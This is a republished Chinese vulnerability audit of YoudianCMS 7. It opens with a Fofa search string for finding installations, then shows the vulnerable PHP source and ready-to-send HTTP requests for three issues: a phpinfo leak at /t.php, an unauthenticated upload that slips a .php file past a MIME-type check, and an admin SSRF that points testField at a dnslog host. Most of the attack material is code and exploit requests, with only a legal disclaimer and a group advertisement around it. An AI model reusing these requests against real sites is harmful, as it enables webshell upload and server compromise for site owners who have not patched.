0x00 前言
Fofa:app="友点建站-CMS"
0x01 前台信息泄露
访问 /t.php 或 /upload/t.php 泄露了网站根目录等信息.
/t.php?action=phpinfo //调出PHPinfo
0x02 前台任意文件上传
定位到了一处文件上传点:
define ( 'IN_BAMBOO', true );
// 取得根目录
define ( 'ROOT_PATH', '../../../../' ); // back to your root path
$arrType = array (
'image/jpg',
'image/gif',
'image/png',
'image/bmp',
'image/pjpeg',
'image/jpeg'
);
$max_size = 500 * 1024; // 最大文件限制(单位:byte)
$upfile = ROOT_PATH.'image/uploads'; // 图片目录路径
if (!isset($_FILES ['files'])){
echo '{"result":"400","msg":"未能找到图片,请确认图片是否过大"}';
exit ();
}
$file = $_FILES ['files'];
if ($_SERVER ['REQUEST_METHOD'] == 'POST') { // 判断提交方式是否为POST
if (! is_uploaded_file ( $file ['tmp_name'] )) { // 判断上传文件是否存在
echo '{"result":"400","msg":"图片不存在"}';
exit ();
}
if ($file ['size'] > $max_size) { // 判断文件大小是否大于500000字节
echo '{"result":"400","msg":"上传图片太大,最大支持:'.($max_size/1024).'KB"}';
exit ();
}
if (! in_array ( $file ['type'], $arrType )) { // 判断图片文件的格式
echo '{"result":"400","msg":"上传图片格式不对"}';
exit ();
}
if (! file_exists ( $upfile )) { // 判断存放文件目录是否存在
mkdir ( $upfile, 0755, true );
}
$imageSize = getimagesize ( $file ['tmp_name'] );
$img = $imageSize [0] . '*' . $imageSize [1];
$fname = $file ['name'];
$ftype = explode ( '.', $fname );
$time = explode ( " ", microtime () );
$time = $time [1] . ($time [0] * 1000);
$time2 = explode ( ".", $time );
$time = $time2 [0];
$returnName=$time."." .end($ftype);
$picName = $upfile . "/" . $returnName ;
if (! move_uploaded_file ( $file ['tmp_name'], $picName )) {
echo '{"result":"400","msg":"从:'.$file ['tmp_name'].'移动图片到:'.$picName.'出错"}';
exit ();
} else {
echo '{"result":"200","imgurl":"image/uploads/' . $returnName . '"}';
}
}
发现并未有鉴权 只需绕过MIME头即可上传php文件.
POST /Public/ckeditor/plugins/multiimage/dialogs/image_upload.php HTTP/1.1
Host: x.x.x.x
Content-Length: 202
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydAPjrmyKewWuf59H
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.3611
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8
Connection: close
------WebKitFormBoundarydAPjrmyKewWuf59H
Content-Disposition: form-data; name="files"; filename="c1.jpg.php"
Content-Type: image/jpg
phpinfo();
------WebKitFormBoundarydAPjrmyKewWuf59H--
实际上传到/public/image/uploads 目录下.
0x03 后台SSRF漏洞
问题出自 /App/Core/Extend/Function/ydLib.php 使用了curl_exec函数去访问$url变量.
function yd_curl_get($url, $data=false, $timeout = 5, $options=array() ){
//http_build_query(array('foo'=>'bar','baz'=>'boom')); 输出:foo=bar&baz=boom
if(!empty($data)){
$url .= '?'.http_build_query($data);
}
if( function_exists('curl_init') ){
$ch = curl_init( $url );
//症状:php curl调用https出错 排查方法:在命令行中使用curl调用试试。
//原因:服务器所在机房无法验证SSL证书。解决办法:跳过SSL证书检查。
//不加上CURLOPT_SSL_VERIFYPEER,curl_exec总是返回false
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
//curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:220.181.136.242', 'CLIENT-IP:220.181.136.242'));
//CURLOPT_REFERER、CURLOPT_USERAGENT
foreach ($options as $k=>$v){
$k = is_numeric($k) ? $k : constant($k);
curl_setopt($ch, $k, $v);
}
$res = curl_exec($ch);
curl_close($ch);
}else{
//利用了stream_context_create()设置超时时间:
//当读取https协议时,需要服务器支持open_ssl模块
$opts = array( 'http' => array('timeout' => $timeout, 'method'=>"GET", 'header'=>'') );
if( $options['CURLOPT_REFERER']){
$opts['header'] .= "Referer:".$options['CURLOPT_REFERER']."rn";
}
if( $options['CURLOPT_USERAGENT']){
$opts['header'] .= "User-Agent:".$options['CURLOPT_USERAGENT']."rn";
}
$context = stream_context_create( $opts );
$res = @file_get_contents( $url, false, $context );
}
return $res;
}
全局搜索调用yd_curl_get函数的文件.
private function _collectContent($url, $regex, $replace = false, $options = array())
{
if (empty($url) || (strlen($url) < 10)) {
$errmsg = "URL地址无效";
return $errmsg;
}
$this->_sleep($options["TimeTnterval"]);
set_time_limit(200);
$options["Url"] = $url;
$httpHeader = $this->_getOptions($options);
$content = yd_curl_get($url, false, 30, $httpHeader);
$content = $this->ToUtf8($content, $options["Charset"]);
......
public function testField()
{
header("Content-Type:text/html; charset=utf-8");
$url = trim($_POST["TestDetailUrl"]);
if (empty($url)) {
if (empty($_POST["DetailUrlRegex"])) {
$url = $_POST["ListUrl"];
}
else {
$result = $this->_collectList($_POST);
if (is_array($result)) {
$index = rand(0, count($result) - 1);
$url = $result[$index];
}
else {
$this->ajaxReturn($result, "", 0);
}
}
}
$data = $this->_collectContent($url, $_POST["FieldInfo"], $_POST["ReplacePara"], $_POST);
if (is_array($data)) {
$this->ajaxReturn($data, $url, 1);
}
else {
$this->ajaxReturn($data, $url, 0);
}
}
Payload:
POST /index.php/Admin/Collect/testField HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 30
Content-Type: application/x-www-form-urlencoded
Cookie: ZDEDebuggerPresent=php,phtml,php3; PHPSESSID=54nua73v65g7fkbdfmk5t1iru4; CKFinder_Path=Images%3A%2F%3A1; youdianAdminLangSet=cn; youdianMenuTopID=1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
TestDetailUrl=xxx.dnslog.cn
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!
如果有师傅对审计有兴趣可以进群私信群主拿源码.
欢迎大家进星悦安全交流1群
原文始发于微信公众号(星悦安全):Youdiancms 7 审计
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论